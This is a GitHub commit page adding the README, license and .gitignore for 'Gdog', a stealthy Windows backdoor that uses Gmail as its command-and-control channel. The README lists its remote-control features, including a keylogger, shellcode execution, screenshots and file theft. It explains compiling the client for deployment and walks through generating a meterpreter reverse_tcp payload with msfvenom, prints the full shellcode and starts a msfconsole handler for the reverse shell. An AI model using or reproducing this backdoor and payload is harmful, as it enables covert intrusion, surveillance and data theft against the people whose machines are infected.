Skip to content

Commit 8ae0a4f

Browse files
committed
Gmail as a C&C server
1 parent 029d6d3 commit 8ae0a4f

File tree

8 files changed

+2438
-0
lines changed

8 files changed

+2438
-0
lines changed

gdog/.gitignore

+71
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,71 @@
1+
# Byte-compiled / optimized / DLL files
2+
__pycache__/
3+
*.py[cod]
4+
*$py.class
5+
6+
# C extensions
7+
*.so
8+
9+
# Distribution / packaging
10+
.Python
11+
env/
12+
build/
13+
develop-eggs/
14+
dist/
15+
downloads/
16+
eggs/
17+
.eggs/
18+
lib/
19+
lib64/
20+
parts/
21+
sdist/
22+
var/
23+
*.egg-info/
24+
.installed.cfg
25+
*.egg
26+
27+
# PyInstaller
28+
# Usually these files are written by a python script from a template
29+
# before PyInstaller builds the exe, so as to inject date/other infos into it.
30+
*.manifest
31+
*.spec
32+
33+
# Installer logs
34+
pip-log.txt
35+
pip-delete-this-directory.txt
36+
37+
# Unit test / coverage reports
38+
htmlcov/
39+
.tox/
40+
.coverage
41+
.coverage.*
42+
.cache
43+
nosetests.xml
44+
coverage.xml
45+
*,cover
46+
.hypothesis/
47+
48+
# Translations
49+
*.mo
50+
*.pot
51+
52+
# Django stuff:
53+
*.log
54+
55+
# Sphinx documentation
56+
docs/_build/
57+
58+
# PyBuilder
59+
target/
60+
61+
#Ipython Notebook
62+
.ipynb_checkpoints
63+
64+
# PyDev
65+
RemoteSystemsTempFiles
66+
.project
67+
.pydevproject
68+
.metadata
69+
.settings
70+
*.prefs
71+

gdog/LICENSE

+674
Large diffs are not rendered by default.

gdog/README.md

+164
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,164 @@
1+
Gdog
2+
====
3+
A stealthy Python based Windows backdoor that uses Gmail as a command and control server
4+
5+
This project was inspired by the gcat(https://github.com/byt3bl33d3r/gcat) from byt3bl33d3r.
6+
7+
8+
Requirements
9+
=====
10+
* Python 2.x
11+
* PyCrypto module
12+
* WMI module
13+
* Enum34 module
14+
* Netifaces module
15+
16+
17+
Features
18+
=====
19+
* Encrypted transportation messages (AES) + SHA256 hashing
20+
* Generate computer unique id using system information/characteristics (SHA256 hash)
21+
* Job IDs are random SHA256 hashes
22+
* Retrieve system information
23+
* Retrieve Geolocation information (City, Country, lat, long, etc..)
24+
* Retrieve running processes/system services/system users/devices (hardware)
25+
* Retrieve list of clients
26+
* Execute system command
27+
* Download files from client
28+
* Upload files to client
29+
* Execute shellcode
30+
* Take screenshot
31+
* Lock client's screen
32+
* Keylogger
33+
* Lock remote computer's screen
34+
* Shutdown/Restart remote computer
35+
* Log off current user
36+
* Download file from the WEB
37+
* Visit website
38+
* Show message box to user
39+
* Ability to change check-in time
40+
* Ability to add jitter to check-in time to reduce predictability
41+
42+
43+
Setup
44+
=====
45+
For this to work you need:
46+
- A Gmail account (**Use a dedicated account! Do not use your personal one!**)
47+
- Turn on "Allow less secure apps" under the security settings of the account.
48+
- You may also have to enable IMAP in the account settings.
49+
50+
51+
Download/Installation
52+
====
53+
* https://sourceforge.net/projects/pywin32
54+
* git clone https://github.com/maldevel/gdog
55+
* pip install -r requirements.txt --user
56+
57+
58+
Contents
59+
=====
60+
- ```gdog.py``` a script that's used to enumerate and issue commands to available clients
61+
- ```client.py``` the actual backdoor to deploy
62+
63+
You're probably going to want to compile ```client.py``` into an executable using [Pyinstaller](https://github.com/pyinstaller/pyinstaller)
64+
65+
**Note: It's recommended you compile client.py using a 32bit Python installation**
66+
67+
68+
Usage
69+
=====
70+
```
71+
__
72+
____ _____/ /___ ____ _
73+
/ __ `/ __ / __ \/ __ `/
74+
/ /_/ / /_/ / /_/ / /_/ /
75+
\__, /\__,_/\____/\__, /
76+
/____/ /____/
77+
78+
optional arguments:
79+
-h, --help show this help message and exit
80+
-v, --version show program's version number and exit
81+
-id ID Client to target
82+
-jobid JOBID Job id to retrieve
83+
84+
-list List available clients
85+
-info Retrieve info on specified client
86+
87+
Commands:
88+
Commands to execute on an implant
89+
90+
-cmd CMD Execute a system command
91+
-visitwebsite URL Visit website
92+
-message TEXT TITLE Show message to user
93+
-tasks Retrieve running processes
94+
-services Retrieve system services
95+
-users Retrieve system users
96+
-devices Retrieve devices(Hardware)
97+
-download PATH Download a file from a clients system
98+
-download-fromurl URL
99+
Download a file from the web
100+
-upload SRC DST Upload a file to the clients system
101+
-exec-shellcode FILE Execute supplied shellcode on a client
102+
-screenshot Take a screenshot
103+
-lock-screen Lock the clients screen
104+
-shutdown Shutdown remote computer
105+
-restart Restart remote computer
106+
-logoff Log off current remote user
107+
-force-checkin Force a check in
108+
-start-keylogger Start keylogger
109+
-stop-keylogger Stop keylogger
110+
-email-checkin seconds Seconds to wait before checking for new commands
111+
-jitter percentage Percentage of Jitter
112+
```
113+
114+
115+
Shellcode Exec
116+
=====
117+
118+
```
119+
$ ./msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform Windows EXITFUNC=thread LPORT=4444 LHOST=172.16.153.1 -f python
120+
121+
No encoder or badchars specified, outputting raw payload
122+
Payload size: 354 bytes
123+
buf = ""
124+
buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
125+
buf += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0\xb7"
126+
buf += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
127+
buf += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
128+
buf += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
129+
buf += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
130+
buf += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
131+
buf += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
132+
buf += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
133+
buf += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
134+
buf += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
135+
buf += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
136+
buf += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"
137+
buf += "\xff\xd5\x6a\x05\x68\xac\x10\x99\x01\x68\x02\x00\x11"
138+
buf += "\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
139+
buf += "\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
140+
buf += "\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec"
141+
buf += "\xe8\x61\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02"
142+
buf += "\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a"
143+
buf += "\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53"
144+
buf += "\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"
145+
buf += "\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00\x40"
146+
buf += "\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57"
147+
buf += "\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9"
148+
buf += "\x71\xff\xff\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xe0"
149+
buf += "\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"
150+
buf += "\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00"
151+
buf += "\x53\xff\xd5"
152+
```
153+
154+
Get rid of everything except for the shellcode and stick it in a file:
155+
156+
```
157+
$ cat shell.txt
158+
\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x05\x68\xac\x10\x99\x01\x68\x02\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x61\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9\x71\xff\xff\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xe0\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5
159+
```
160+
run the console
161+
162+
```
163+
./msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 172.16.153.1; run"
164+
```

0 commit comments

Comments
 (0)